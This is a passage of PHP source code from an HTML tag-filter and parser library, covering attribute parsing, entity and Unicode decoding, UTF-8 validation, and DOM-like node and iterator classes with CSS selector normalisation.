								} while (!isset($info2[$info["tag_name"]]));
							}
						} while ($found);
					}

					// Process attributes/properties until a closing condition is encountered.
					$state = "name";
					$voidtag = false;
					$attrs = array();
					do
					{
						if ($state === "name")
						{
							// Find attribute key/property.
							for ($x = $cx; $x < $cy; $x++)
							{
								if ($content[$x] === ">" || $content[$x] === "<")
								{
									$cx = $x;

									$state = "exit";

									break;
								}
								else if ($content[$x] === "/")
								{
									$pos = strpos($content, ">", $x + 1);
									if ($pos !== false && trim(substr($content, $x + 1, $pos - $x - 1)) === "")
									{
										$cx = $pos;
										$voidtag = true;

										$state = "exit";

										break;
									}
								}
								else if ($content[$x] === "\"" || $content[$x] === "'" || $content[$x] === "`")
								{
									$pos = strpos($content, $content[$x], $x + 1);
									if ($pos === false)  $content .= $content[$x];
									else if (isset($this->options["untouched_tag_attr_keys"][$tagname]))
									{
										$keyname = substr($content, $x, $pos - $x + 1);
										$cx = $pos + 1;

										$state = "equals";
									}
									else
									{
										$keyname = substr($content, $x + 1, $pos - $x - 1);
										if ($this->options["lowercase_attrs"])  $keyname = strtolower($keyname);
										if (preg_match('/<\s*\/\s*' . $tagname . '(\s*|\s+.+?)>/is', strtolower($keyname)) || (count($this->stack) && preg_match('/<\s*\/\s*' . $this->stack[0]["tag_name"] . '(\s*|\s+.+?)>/is', strtolower($keyname))))
										{
											// Found a matching close tag within the key name.  Bail out.
											$state = "exit";

											break;
										}
										else
										{
											$keyname = preg_replace('/[^' . ($this->options["lowercase_attrs"] ? "" : "A-Z") . 'a-z' . ($this->options["allow_namespaces"] ? ":" : "") . ']/', "", $keyname);
											if ($this->options["allow_namespaces"])  $keyname = rtrim($keyname, ":");
											$cx = $pos + 1;

											$state = "equals";
										}
									}

									break;
								}
								else
								{
									$val = ord($content[$x]);
									if (($val >= $a && $val <= $z) || ($val >= $a2 && $val <= $z2))
									{
										$cx = $x;
										$parse = false;

										for (; $cx < $cy; $cx++)
										{
											if ($content[$cx] === " " || $content[$cx] === "=" || $content[$cx] === "\"" || $content[$cx] === "'" || $content[$cx] === "`" || $content[$cx] === ">" || $content[$cx] === "<" || $content[$cx] === "/" || $content[$cx] === "\0" || $content[$cx] === "\r" || $content[$cx] === "\n" || $content[$cx] === "\t")  break;
											else if (ord($content[$cx]) > 127)  $parse = true;
										}

										$keyname = substr($content, $x, $cx - $x);
										if ($parse && $this->options["charset_attrs"] && $this->options["charset"] === "UTF-8")
										{
											$keyname = preg_replace(($this->options["allow_namespaces"] ? '/[^A-Za-z0-9:._\-\x80-\xFF]/' : '/[^A-Za-z0-9._\-\x80-\xFF]/'), "", $keyname);
											if (!self::IsValidUTF8($keyname))  $keyname = self::MakeValidUTF8($keyname);
										}
										else
										{
											$keyname = preg_replace(($this->options["allow_namespaces"] ? '/[^A-Za-z0-9:._-]/' : '/[^A-Za-z0-9._-]/'), "", $keyname);
										}
										$keyname = rtrim($keyname, "._-:");
										if (!isset($this->options["untouched_tag_attr_keys"][$tagname]) && $this->options["lowercase_attrs"])  $keyname = strtolower($keyname);

										$state = "equals";

										break;
									}
								}
							}

							if ($state === "name")
							{
								$cx = $cy;

								$state = "exit";
							}
						}
						else if ($state === "equals")
						{
							// Find the equals sign OR the start of the next attribute/property.
							for ($x = $cx; $x < $cy; $x++)
							{
								if ($content[$x] === ">" || $content[$x] === "<")
								{
									$cx = $x;

									$attrs[$keyname] = true;

									$state = "exit";

									break;
								}
								else if ($content[$x] === "=")
								{
									$cx = $x + 1;

									$state = "value";

									break;
								}
								else if ($content[$x] === "\"" || $content[$x] === "'")
								{
									$cx = $x;

									$attrs[$keyname] = true;

									$state = "name";

									break;
								}
								else
								{
									$val = ord($content[$x]);
									if (($val >= $a && $val <= $z) || ($val >= $a2 && $val <= $z2) || ($val >= $zero && $val <= $nine))
									{
										$cx = $x;

										$attrs[$keyname] = true;

										$state = "name";

										break;
									}
								}
							}

							if ($state === "equals")
							{
								$cx = $cy;

								$attrs[$keyname] = true;

								$state = "exit";
							}
						}
						else if ($state === "value")
						{
							for ($x = $cx; $x < $cy; $x++)
							{
								if ($content[$x] === ">" || $content[$x] === "<")
								{
									$cx = $x;

									$attrs[$keyname] = true;

									$state = "exit";

									break;
								}
								else if ($content[$x] === "\"" || $content[$x] === "'" || $content[$x] === "`")
								{
									$pos = strpos($content, $content[$x], $x + 1);
									if ($pos === false)  $content .= $content[$x];
									else
									{
										$value = substr($content, $x + 1, $pos - $x - 1);
										$cx = $pos + 1;

										$state = "name";
									}

									break;
								}
								else if ($content[$x] !== "\0" && $content[$x] !== "\r" && $content[$x] !== "\n" && $content[$x] !== "\t" && $content[$x] !== " ")
								{
									$cx = $x;

									for (; $cx < $cy; $cx++)
									{
										if ($content[$cx] === "\0" || $content[$cx] === "\r" || $content[$cx] === "\n" || $content[$cx] === "\t" || $content[$cx] === " " || $content[$cx] === "<" || $content[$cx] === ">")
										{
											break;
										}
									}

									$value = substr($content, $x, $cx - $x);

									$state = "name";

									break;
								}
							}

							if ($state === "value")
							{
								$cx = $cy;

								$attrs[$keyname] = true;

								$state = "exit";
							}

							if ($state === "name")
							{
								if ($this->options["charset"] === "UTF-8" && !self::IsValidUTF8($value))  $value = self::MakeValidUTF8($value);
								$value = html_entity_decode($value, ENT_QUOTES | ENT_HTML5, $this->options["charset"]);

								// Decode remaining entities.
								$value2 = "";
								$vx = 0;
								$vy = strlen($value);
								while ($vx < $vy)
								{
									$pos = strpos($value, "&#", $vx);
									$pos2 = strpos($value, "\\", $vx);
									if ($pos === false)  $pos = $vy;
									if ($pos2 === false)  $pos2 = $vy;
									if ($pos < $pos2)
									{
										// &#32 or &#x20 (optional trailing semi-colon)
										$value2 .= substr($value, $vx, $pos - $vx);
										$vx = $pos + 2;
										if ($vx < $vy)
										{
											if ($value[$vx] == "x" || $value[$vx] == "X")
											{
												$vx++;
												if ($vx < $vy)
												{
													for ($x = $vx; $x < $vy; $x++)
													{
														$val = ord($value[$x]);
														if (!(($val >= $a && $val <= $f) || ($val >= $a2 && $val <= $f2) || ($val >= $zero && $val <= $nine)))  break;
													}

													$num = hexdec(substr($value, $vx, $x - $vx));
													$vx = $x;
													if ($vx < $vy && $value[$vx] == ";")  $vx++;

													$value2 .= self::UTF8Chr($num);
												}
											}
											else
											{
												for ($x = $vx; $x < $vy; $x++)
												{
													$val = ord($value[$x]);
													if (!($val >= $zero && $val <= $nine))  break;
												}

												$num = (int)substr($value, $vx, $x - $vx);
												$vx = $x;
												if ($vx < $vy && $value[$vx] == ";")  $vx++;

												$value2 .= self::UTF8Chr($num);
											}
										}
									}
									else if ($pos2 < $pos)
									{
										// Unicode (e.g. \0020)
										$value2 .= substr($value, $vx, $pos2 - $vx);
										$vx = $pos2 + 1;
										if ($vx >= $vy)  $value2 .= "\\";
										else
										{
											for ($x = $vx; $x < $vy; $x++)
											{
												$val = ord($value[$x]);
												if (!(($val >= $a && $val <= $f) || ($val >= $a2 && $val <= $f2) || ($val >= $zero && $val <= $nine)))  break;
											}

											if ($x > $vx)
											{
												$num = hexdec(substr($value, $vx, $x - $vx));
												$vx = $x;

												$value2 .= self::UTF8Chr($num);
											}
											else
											{
												$value2 .= "\\";
											}
										}
									}
									else
									{
										$value2 .= substr($value, $vx);
										$vx = $vy;
									}
								}
								$value = $value2;

								if (!$this->options["keep_attr_newlines"])  $value = str_replace(array("\r\n", "\r", "\n"), " ", $value);

								if (isset($this->options["process_attrs"][$keyname]))
								{
									$type = $this->options["process_attrs"][$keyname];
									if ($type === "classes")
									{
										$classes = explode(" ", $value);
										$value = array();
										foreach ($classes as $class)
										{
											if ($class !== "")  $value[$class] = $class;
										}
									}
									else if ($type === "uri")
									{
										$value = str_replace(array("\0", "\r", "\n", "\t", " "), array("", "", "", "", "%20"), trim($value));
										$pos = strpos($value, ":");
										if ($pos !== false)  $value = preg_replace('/[^a-z]/', "", strtolower(substr($value, 0, $pos))) . substr($value, $pos);
									}
								}

								$attrs[$keyname] = $value;
							}
						}
					} while ($cx < $cy && $state !== "exit");

					// Break out of the loop if the end of the stream has been reached but not finalized and most likely in the middle of a tag.
					if ($cx >= $cy && !$this->final)
					{
						$cx = $firstcx;

						break;
					}

					unset($attrs[""]);

					if ($cx < $cy && $content[$cx] === ">")  $cx++;

					if (isset($this->options["tag_name_map"][$prefix . $tagname]))  $outtagname = $tagname = $this->options["tag_name_map"][$prefix . $tagname];

					if ($tagname != "")
					{
						if ($open)
						{
							if ($voidtag && isset($this->options["void_tags"][$tagname]))  $voidtag = false;
							$this->options["tag_num"]++;

							// Let a callback handle any necessary changes.
							if (isset($this->options["tag_callback"]) && is_callable($this->options["tag_callback"]))  $funcresult = call_user_func_array($this->options["tag_callback"], array($this->stack, &$result, $open, $prefix . $tagname, &$attrs, $this->options));
							else  $funcresult = array();

							if (!isset($funcresult["keep_tag"]))  $funcresult["keep_tag"] = true;
							if (!isset($funcresult["keep_interior"]))  $funcresult["keep_interior"] = true;
							if (!isset($funcresult["pre_tag"]))  $funcresult["pre_tag"] = "";
							if (!isset($funcresult["post_tag"]))  $funcresult["post_tag"] = "";
							if (!isset($funcresult["state"]))  $funcresult["state"] = false;
						}

						if ($open && $funcresult["keep_tag"])
						{
							$opentag = $funcresult["pre_tag"];
							$opentag .= "<" . $prefix . $outtagname;
							foreach ($attrs as $key => $val)
							{
								$opentag .= " " . $key;

								if (is_array($val))  $val = implode(" ", $val);
								if (is_string($val))
								{
									if ($this->options["charset"] === "UTF-8" && !self::IsValidUTF8($val))  $val = self::MakeValidUTF8($val);
									$opentag .= "=\"" . htmlspecialchars($val, ENT_COMPAT | ENT_HTML5, $this->options["charset"]) . "\"";
								}
							}
							if (($voidtag || isset($this->options["void_tags"][$tagname])) && $this->options["output_mode"] === "xml")
							{
								$opentag .= " /";

								$voidtag = false;
							}
							$opentag .= ">";

							if (!isset($this->options["void_tags"][$tagname]) && $prefix === "")
							{
								array_unshift($this->stack, array("tag_num" => $this->options["tag_num"], "tag_name" => $tagname, "out_tag_name" => $outtagname, "attrs" => $attrs, "result" => $result, "open_tag" => $opentag, "close_tag" => true, "keep_interior" => $funcresult["keep_interior"], "post_tag" => $funcresult["post_tag"], "state" => $funcresult["state"]));
								$result = "";

								if ($voidtag)  $open = false;
							}
							else
							{
								$result .= $opentag;
								$result .= $funcresult["post_tag"];
							}
						}

						if ((!$open || !$funcresult["keep_tag"]) && !isset($this->options["void_tags"][$tagname]))
						{
							if ($open)
							{
								array_unshift($this->stack, array("tag_num" => $this->options["tag_num"], "tag_name" => $tagname, "out_tag_name" => $outtagname, "attrs" => $attrs, "result" => $result, "open_tag" => "", "close_tag" => false, "keep_interior" => $funcresult["keep_interior"], "post_tag" => $funcresult["post_tag"], "state" => $funcresult["state"]));
								$result = "";
							}

							if (!$open)
							{
								$found = false;
								foreach ($this->stack as $info)
								{
									if ($tagname === $info["tag_name"])
									{
										$found = true;

										break;
									}
								}

								if ($found)
								{
									do
									{
										// Let a callback handle any necessary changes.
										$attrs = array();
										if (isset($this->options["tag_callback"]) && is_callable($this->options["tag_callback"]))  $funcresult = call_user_func_array($this->options["tag_callback"], array($this->stack, &$result, false, "/" . $this->stack[0]["tag_name"], &$attrs, $this->options));
										else  $funcresult = array();

										// Force close tag to be kept if the stream already output the open tag.
										if (!isset($funcresult["keep_tag"]) || ($info["close_tag"] && $info["open_tag"] == ""))  $funcresult["keep_tag"] = true;

										$info = array_shift($this->stack);

										$result = $info["result"] . ($funcresult["keep_tag"] ? $info["open_tag"] : "") . ($info["keep_interior"] ? $result : "");
										if ($info["close_tag"] && $funcresult["keep_tag"])  $result .= "</" . $info["out_tag_name"] . ">" . $info["post_tag"];
									} while ($tagname !== $info["tag_name"]);
								}
							}
						}
					}


					$tag = false;
				}
				else
				{
					$regular = true;

					// Special content handler for certain tags.
					if (count($this->stack) && isset($this->options["alt_tag_content_rules"][$this->stack[0]["tag_name"]]) && is_callable($this->options["alt_tag_content_rules"][$this->stack[0]["tag_name"]]))
					{
						$content2 = "";

						// Expected to return true until the function is no longer interested in the data.
						if (call_user_func_array($this->options["alt_tag_content_rules"][$this->stack[0]["tag_name"]], array($this->stack, $this->final, &$tag, &$content, &$cx, $cy, &$content2, $this->options)))  $regular = false;
						else if (!$this->final)
						{
							// Let a callback handle any necessary changes.
							if (isset($this->options["content_callback"]) && is_callable($this->options["content_callback"]))  call_user_func_array($this->options["content_callback"], array($this->stack, $result, &$content2, $this->options));

							$result .= $content2;

							break;
						}
					}

					if ($regular)
					{
						// Regular content.
						$pos = strpos($content, "<", $cx);
						if ($pos === false)
						{
							$content2 = str_replace(">", "&gt;", substr($content, $cx));
							$cx = $cy;
						}
						else
						{
							$content2 = str_replace(">", "&gt;", substr($content, $cx, $pos - $cx));
							$cx = $pos;

							$tag = true;
						}
					}

					// Let a callback handle any necessary changes.
					if (isset($this->options["content_callback"]) && is_callable($this->options["content_callback"]))  call_user_func_array($this->options["content_callback"], array($this->stack, $result, &$content2, $this->options));

					$result .= $content2;
				}
			}

			if ($this->final)
			{
				while (count($this->stack))
				{
					// Let a callback handle any necessary changes.
					$attrs = array();
					if (isset($this->options["tag_callback"]) && is_callable($this->options["tag_callback"]))  $funcresult = call_user_func_array($this->options["tag_callback"], array($this->stack, &$result, false, "/" . $this->stack[0]["tag_name"], &$attrs, $this->options));
					else  $funcresult = array();

					$info = array_shift($this->stack);

					// Force close tag to be kept if the stream already output the open tag.
					if (!isset($funcresult["keep_tag"]) || ($info["close_tag"] && $info["open_tag"] == ""))  $funcresult["keep_tag"] = true;

					$result = $info["result"] . ($funcresult["keep_tag"] ? $info["open_tag"] : "") . ($info["keep_interior"] ? $result : "");
					if ($info["close_tag"] && $funcresult["keep_tag"])  $result .= "</" . $info["out_tag_name"] . ">" . $info["post_tag"];
				}
			}
			else
			{
				$this->lastcontent = ($cx < $cy ? substr($content, $cx) : "");
				$this->lastresult = $result;
				$result = "";
			}

			return $result;
		}

		public function Finalize()
		{
			$this->final = true;
		}

		// To cleanly figure out how far in to flush output, call GetStack(true), use TagFilter::GetParentPos(), and call GetResult().
		public function GetStack($invert = false)
		{
			return ($invert ? array_reverse($this->stack) : $this->stack);
		}

		// Returns the result so far up to the specified stack position and flushes the stored output to keep RAM usage low.
		// NOTE:  Callback functions returning 'keep_tag' of false for the closing tag won't work for tags that were already output using this function.
		public function GetResult($invertedstackpos)
		{
			$y = count($this->stack);
			$pos = $y - $invertedstackpos - 1;
			if ($pos < 0)  $pos = 0;

			$result = "";
			for ($x = $y - 1; $x >= $pos; $x--)
			{
				$result .= $this->stack[$x]["result"] . $this->stack[$x]["open_tag"];

				$this->stack[$x]["result"] = "";
				$this->stack[$x]["open_tag"] = "";
			}

			if (!$pos)
			{
				$result .= $this->lastresult;
				$this->lastresult = "";
			}

			return $result;
		}

		public static function MakeValidUTF8($data)
		{
			$result = "";
			$x = 0;
			$y = strlen($data);
			while ($x < $y)
			{
				$tempchr = ord($data[$x]);
				if ($y - $x > 1)  $tempchr2 = ord($data[$x + 1]);
				else  $tempchr2 = 0x00;
				if ($y - $x > 2)  $tempchr3 = ord($data[$x + 2]);
				else  $tempchr3 = 0x00;
				if ($y - $x > 3)  $tempchr4 = ord($data[$x + 3]);
				else  $tempchr4 = 0x00;
				if (($tempchr >= 0x20 && $tempchr <= 0x7E) || $tempchr == 0x09 || $tempchr == 0x0A || $tempchr == 0x0D)
				{
					// ASCII minus control and special characters.
					$result .= chr($tempchr);
					$x++;
				}
				else if (($tempchr >= 0xC2 && $tempchr <= 0xDF) && ($tempchr2 >= 0x80 && $tempchr2 <= 0xBF))
				{
					// Non-overlong (2 bytes).
					$result .= chr($tempchr);
					$result .= chr($tempchr2);
					$x += 2;
				}
				else if ($tempchr == 0xE0 && ($tempchr2 >= 0xA0 && $tempchr2 <= 0xBF) && ($tempchr3 >= 0x80 && $tempchr3 <= 0xBF))
				{
					// Non-overlong (3 bytes).
					$result .= chr($tempchr);
					$result .= chr($tempchr2);
					$result .= chr($tempchr3);
					$x += 3;
				}
				else if ((($tempchr >= 0xE1 && $tempchr <= 0xEC) || $tempchr == 0xEE || $tempchr == 0xEF) && ($tempchr2 >= 0x80 && $tempchr2 <= 0xBF) && ($tempchr3 >= 0x80 && $tempchr3 <= 0xBF))
				{
					// Normal/straight (3 bytes).
					$result .= chr($tempchr);
					$result .= chr($tempchr2);
					$result .= chr($tempchr3);
					$x += 3;
				}
				else if ($tempchr == 0xED && ($tempchr2 >= 0x80 && $tempchr2 <= 0x9F) && ($tempchr3 >= 0x80 && $tempchr3 <= 0xBF))
				{
					// Non-surrogates (3 bytes).
					$result .= chr($tempchr);
					$result .= chr($tempchr2);
					$result .= chr($tempchr3);
					$x += 3;
				}
				else if ($tempchr == 0xF0 && ($tempchr2 >= 0x90 && $tempchr2 <= 0xBF) && ($tempchr3 >= 0x80 && $tempchr3 <= 0xBF) && ($tempchr4 >= 0x80 && $tempchr4 <= 0xBF))
				{
					// Planes 1-3 (4 bytes).
					$result .= chr($tempchr);
					$result .= chr($tempchr2);
					$result .= chr($tempchr3);
					$result .= chr($tempchr4);
					$x += 4;
				}
				else if (($tempchr >= 0xF1 && $tempchr <= 0xF3) && ($tempchr2 >= 0x80 && $tempchr2 <= 0xBF) && ($tempchr3 >= 0x80 && $tempchr3 <= 0xBF) && ($tempchr4 >= 0x80 && $tempchr4 <= 0xBF))
				{
					// Planes 4-15 (4 bytes).
					$result .= chr($tempchr);
					$result .= chr($tempchr2);
					$result .= chr($tempchr3);
					$result .= chr($tempchr4);
					$x += 4;
				}
				else if ($tempchr == 0xF4 && ($tempchr2 >= 0x80 && $tempchr2 <= 0x8F) && ($tempchr3 >= 0x80 && $tempchr3 <= 0xBF) && ($tempchr4 >= 0x80 && $tempchr4 <= 0xBF))
				{
					// Plane 16 (4 bytes).
					$result .= chr($tempchr);
					$result .= chr($tempchr2);
					$result .= chr($tempchr3);
					$result .= chr($tempchr4);
					$x += 4;
				}
				else  $x++;
			}

			return $result;
		}

		public static function IsValidUTF8($data)
		{
			$x = 0;
			$y = strlen($data);
			while ($x < $y)
			{
				$tempchr = ord($data[$x]);
				if (($tempchr >= 0x20 && $tempchr <= 0x7E) || $tempchr == 0x09 || $tempchr == 0x0A || $tempchr == 0x0D)  $x++;
				else if ($tempchr < 0xC2)  return false;
				else
				{
					$left = $y - $x;
					if ($left > 1)  $tempchr2 = ord($data[$x + 1]);
					else  return false;

					if (($tempchr >= 0xC2 && $tempchr <= 0xDF) && ($tempchr2 >= 0x80 && $tempchr2 <= 0xBF))  $x += 2;
					else
					{
						if ($left > 2)  $tempchr3 = ord($data[$x + 2]);
						else  return false;

						if ($tempchr3 < 0x80 || $tempchr3 > 0xBF)  return false;

						if ($tempchr == 0xE0 && ($tempchr2 >= 0xA0 && $tempchr2 <= 0xBF))  $x += 3;
						else if ((($tempchr >= 0xE1 && $tempchr <= 0xEC) || $tempchr == 0xEE || $tempchr == 0xEF) && ($tempchr2 >= 0x80 && $tempchr2 <= 0xBF))  $x += 3;
						else if ($tempchr == 0xED && ($tempchr2 >= 0x80 && $tempchr2 <= 0x9F))  $x += 3;
						else
						{
							if ($left > 3)  $tempchr4 = ord($data[$x + 3]);
							else  return false;

							if ($tempchr4 < 0x80 || $tempchr4 > 0xBF)  return false;

							if ($tempchr == 0xF0 && ($tempchr2 >= 0x90 && $tempchr2 <= 0xBF))  $x += 4;
							else if (($tempchr >= 0xF1 && $tempchr <= 0xF3) && ($tempchr2 >= 0x80 && $tempchr2 <= 0xBF))  $x += 4;
							else if ($tempchr == 0xF4 && ($tempchr2 >= 0x80 && $tempchr2 <= 0x8F))  $x += 4;
							else  return false;
						}
					}
				}
			}

			return true;
		}

		public static function UTF8Chr($num)
		{
			if ($num < 0 || ($num >= 0xD800 && $num <= 0xDFFF) || ($num >= 0xFDD0 && $num <= 0xFDEF) || ($num & 0xFFFE) == 0xFFFE)  return "";

			if ($num <= 0x7F)  $result = chr($num);
			else if ($num <= 0x7FF)  $result = chr(0xC0 | ($num >> 6)) . chr(0x80 | ($num & 0x3F));
			else if ($num <= 0xFFFF)  $result = chr(0xE0 | ($num >> 12)) . chr(0x80 | (($num >> 6) & 0x3F)) . chr(0x80 | ($num & 0x3F));
			else if ($num <= 0x10FFFF)  $result = chr(0xF0 | ($num >> 18)) . chr(0x80 | (($num >> 12) & 0x3F)) . chr(0x80 | (($num  >> 6) & 0x3F)) . chr(0x80 | ($num & 0x3F));
			else  $result = "";

			return $result;
		}
	}

	// Accessing the data in TagFilterNodes (with an 's') via objects is not the most performance-friendly method of access.
	// The classes TagFilterNode and TagFilterNodeIterator defer method calls to the referenced TagFilterNodes instance.
	// Removed/replaced nodes in the original data will result in undefined behavior with object reuse.
	class TagFilterNode
	{
		private $tfn, $id;

		public function __construct($tfn, $rootid)
		{
			$this->tfn = $tfn;
			$this->id = $rootid;
		}

		public function __get($key)
		{
			return (isset($this->tfn->nodes[$this->id]) && isset($this->tfn->nodes[$this->id]["attrs"]) && isset($this->tfn->nodes[$this->id]["attrs"][$key]) ? $this->tfn->nodes[$this->id]["attrs"][$key] : false);
		}

		public function __set($key, $val)
		{
			if (isset($this->tfn->nodes[$this->id]) && isset($this->tfn->nodes[$this->id]["attrs"]))
			{
				if (is_array($val))  $this->tfn->nodes[$this->id]["attrs"][$key] = $val;
				else if (isset($this->tfn->nodes[$this->id]["attrs"][$key]) && is_array($this->tfn->nodes[$this->id]["attrs"][$key]))  $this->tfn->nodes[$this->id]["attrs"][$key][(string)$val] = (string)$val;
				else  $this->tfn->nodes[$this->id]["attrs"][$key] = (string)$val;
			}
		}

		public function __isset($key)
		{
			return (isset($this->tfn->nodes[$this->id]) && isset($this->tfn->nodes[$this->id]["attrs"]) && isset($this->tfn->nodes[$this->id]["attrs"][$key]));
		}

		public function __unset($key)
		{
			if (isset($this->tfn->nodes[$this->id]) && isset($this->tfn->nodes[$this->id]["attrs"]))  unset($this->tfn->nodes[$this->id]["attrs"][$key]);
		}

		public function __toString()
		{
			return $this->tfn->GetOuterHTML($this->id);
		}

		public function __debugInfo()
		{
			$result = (isset($this->tfn->nodes[$this->id]) ? $this->tfn->nodes[$this->id] : array());
			$result["id"] = $this->id;

			return $result;
		}

		public function ID()
		{
			return $this->id;
		}

		public function Node()
		{
			return (isset($this->tfn->nodes[$this->id]) ? $this->tfn->nodes[$this->id] : false);
		}

		public function Type()
		{
			return (isset($this->tfn->nodes[$this->id]) ? $this->tfn->nodes[$this->id]["type"] : false);
		}

		public function Tag()
		{
			return $this->tfn->GetTag($this->id);
		}

		public function Text($val = null)
		{
			if ($val !== null)  $this->tfn->SetText($this->id, $val);
			else  return $this->tfn->GetText($this->id);
		}

		public function AddClass($name, $attr = "class")
		{
			if (isset($this->tfn->nodes[$this->id]) && isset($this->tfn->nodes[$this->id]["attrs"]))
			{
				if (!isset($this->tfn->nodes[$this->id]["attrs"][$attr]) || !is_array($this->tfn->nodes[$this->id]["attrs"][$attr]))  $this->tfn->nodes[$this->id]["attrs"][$attr] = array();

				$this->tfn->nodes[$this->id]["attrs"][$attr][$name] = $name;
			}
		}

		public function RemoveClass($name, $attr = "class")
		{
			if (isset($this->tfn->nodes[$this->id]) && isset($this->tfn->nodes[$this->id]["attrs"]))
			{
				if (isset($this->tfn->nodes[$this->id]["attrs"][$attr]) && is_array($this->tfn->nodes[$this->id]["attrs"][$attr]))  unset($this->tfn->nodes[$this->id]["attrs"][$attr][$name]);
			}
		}

		public function Parent()
		{
			return $this->tfn->GetParent($this->id);
		}

		public function ParentPos()
		{
			return (isset($this->tfn->nodes[$this->id]) ? $this->tfn->nodes[$this->id]["parentpos"] : false);
		}

		// Passing true to this method has the potential to leak RAM.  Passing false is preferred, use with caution.
		public function Children($objects = false)
		{
			return $this->tfn->GetChildren($this->id, $objects);
		}

		public function Child($pos)
		{
			return $this->tfn->GetChild($this->id, $pos);
		}

		public function PrevSibling()
		{
			return $this->tfn->GetPrevSibling($this->id);
		}

		public function NextSibling()
		{
			return $this->tfn->GetNextSibling($this->id);
		}

		public function Find($query, $cachequery = true, $firstmatch = false)
		{
			$result = $this->tfn->Find($query, $this->id, $cachequery, $firstmatch);
			if (!$result["success"])  return $result;

			return new TagFilterNodeIterator($this->tfn, $result["ids"]);
		}

		public function Implode($options = array())
		{
			return $this->tfn->Implode($this->id, $options);
		}

		public function GetOuterHTML($mode = "html")
		{
			return $this->tfn->GetOuterHTML($this->id, $mode);
		}

		// Set functions ruin the object.
		public function SetOuterHTML($src)
		{
			return $this->tfn->SetOuterHTML($this->id, $src);
		}

		public function GetInnerHTML($mode = "html")
		{
			return $this->tfn->GetInnerHTML($this->id, $mode);
		}

		public function SetInnerHTML($src)
		{
			return $this->tfn->SetInnerHTML($this->id, $src);
		}

		public function GetPlainText()
		{
			return $this->tfn->GetPlainText($this->id);
		}

		// Set functions ruin the object.
		public function SetPlainText($src)
		{
			return $this->tfn->SetPlainText($this->id, $src);
		}
	}

	class TagFilterNodeIterator implements Iterator, Countable
	{
		private $tfn, $ids, $x, $y;

		public function __construct($tfn, $ids)
		{
			$this->tfn = $tfn;
			$this->ids = $ids;
			$this->x = 0;
			$this->y = count($ids);
		}

		public function rewind(): void
		{
			$this->x = 0;
		}

		public function valid(): bool
		{
			return ($this->x < $this->y);
		}

		#[\ReturnTypeWillChange]
		public function current()
		{
			return $this->tfn->Get($this->ids[$this->x]);
		}

		#[\ReturnTypeWillChange]
		public function key()
		{
			return $this->ids[$this->x];
		}

		public function next(): void
		{
			$this->x++;
		}

		public function count(): int
		{
			return $this->y;
		}

		public function Filter($query, $cachequery = true)
		{
			$result = $this->tfn->Filter($this->ids, $query, $cachequery);
			if (!$result["success"])  return $result;

			return new TagFilterNodeIterator($this->tfn, $result["ids"]);
		}
	}

	// Output from TagFilter::Explode().
	class TagFilterNodes
	{
		public $nodes, $nextid;
		private $queries;

		public function __construct()
		{
			$this->nodes = array(
				array(
					"type" => "root",
					"parent" => false,
					"parentpos" => false,
					"children" => array()
				)
			);

			$this->nextid = 1;
			$this->queries = array();
		}

		// Makes a selector suitable for Find() and Filter() by altering or removing rules.  Query is not cached.
		public static function MakeValidSelector($query)
		{
			if (!is_array($query))  $result = TagFilter::ParseSelector($query, true);
			else if (isset($query["success"]) && isset($query["tokens"]))
			{
				$result = $query;
				$result["tokens"] = TagFilter::ReorderSelectorTokens(array_reverse($result["tokens"]), true);
			}
			else
			{
				$result = array("success" => true, "tokens" => TagFilter::ReorderSelectorTokens(array_reverse($query), true));
			}

			// Alter certain CSS3 tokens to equivalent tokens.
			foreach ($result["tokens"] as $num => $rules)
			{
				foreach ($rules as $num2 => $rule)
				{
					if ($rule["type"] === "pseudo-class")
					{
						if ($rule["pseudo"] === "link")  $result["tokens"][$num][$num2] = array("not" => false, "type" => "element", "namespace" => false, "tag" => "a");
						else if ($rule["pseudo"] === "disabled")  $result["tokens"][$num][$num2] = array("not" => false, "type" => "attr", "namespace" => false, "attr" => "disabled", "cmp" => false);
						else if ($rule["pseudo"] === "enabled")  $result["tokens"][$num][$num2] = array("not" => false, "type" => "attr", "namespace" => false, "attr" => "enabled", "cmp" => false);
						else if ($rule["pseudo"] === "checked")  $result["tokens"][$num][$num2] = array("not" => false, "type" => "attr", "namespace" => false, "attr" => "checked", "cmp" => false);
					}
				}
			}

			// Reorder the tokens so that the order is simple for output.
			$tokens = TagFilter::ReorderSelectorTokens(array_reverse($result["tokens"]), true, array("element" => array(), "id" => array(), "class" => array(), "attr" => array(), "pseudo-class" => array(), "pseudo-element" => array()), false);

			// Generate a duplicate-free Find()-safe string.
			$result = array();
			foreach ($tokens as $rules)
			{
				$groups = array();
				$strs = array();
				$rules = array_reverse($rules);
				$y = count($rules);
				for ($x = 0; $x < $y; $x++)
				{
					$str = "";

					if (isset($rules[$x]["not"]) && $rules[$x]["not"])  $str .= ":not(";

					switch ($rules[$x]["type"])
					{
						case "id":  $str .= "#" . $rules[$x]["id"];  $valid = true;  break;
						case "element":  $str .= ($rules[$x]["namespace"] !== false ? $rules[$x]["namespace"] . "|" : "") . strtolower($rules[$x]["tag"]);  $valid = true;  break;
						case "class":  $str .= "." . $rules[$x]["class"];  $valid = true;  break;
						case "attr":  $str .= "[" . ($rules[$x]["namespace"] !== false ? $rules[$x]["namespace"] . "|" : "") . strtolower($rules[$x]["attr"]) . ($rules[$x]["cmp"] !== false ? $rules[$x]["cmp"] . "\"" . str_replace("\"", "\\\"", $rules[$x]["val"]) . "\"" : "") . "]";  $valid = true;  break;
						case "pseudo-class":
						{
							$pc = $rules[$x]["pseudo"];
							$valid = ($pc === "first-child" || $pc === "last-child" || $pc === "only-child" || $pc === "nth-child" || $pc === "nth-last-child" || $pc === "first-child-all" || $pc === "last-child-all" || $pc === "only-child-all" || $pc === "nth-child-all" || $pc === "nth-last-child-all" || $pc === "first-of-type" || $pc === "last-of-type" || $pc === "only-of-type" || $pc === "nth-of-type" || $pc === "nth-last-of-type" || $pc === "empty");

							if ($valid && substr($rules[$x]["pseudo"], 0, 4) === "nth-" && (!isset($rules[$x]["a"]) || !isset($rules[$x]["b"])))  $valid = false;

							break;
						}
						case "combine":
						{
							switch ($rules[$x]["combine"])
							{
								case "prev-parent":  $groups[] = implode("", $strs);  $groups[] = ">";  $strs = array();  $valid = true;  break;
								case "any-parent":  $groups[] = implode("", $strs);  $strs = array();  $valid = true;  break;
								case "prev-sibling":  $groups[] = implode("", $strs);  $groups[] = "+";  $strs = array();  $valid = true;  break;
								case "any-prev-sibling":  $groups[] = implode("", $strs);  $groups[] = "~";  $strs = array();  $valid = true;  break;
								default:  $valid = false;
							}

							break;
						}
						default:  $valid = false;  break;
					}

					if (!$valid)  break;

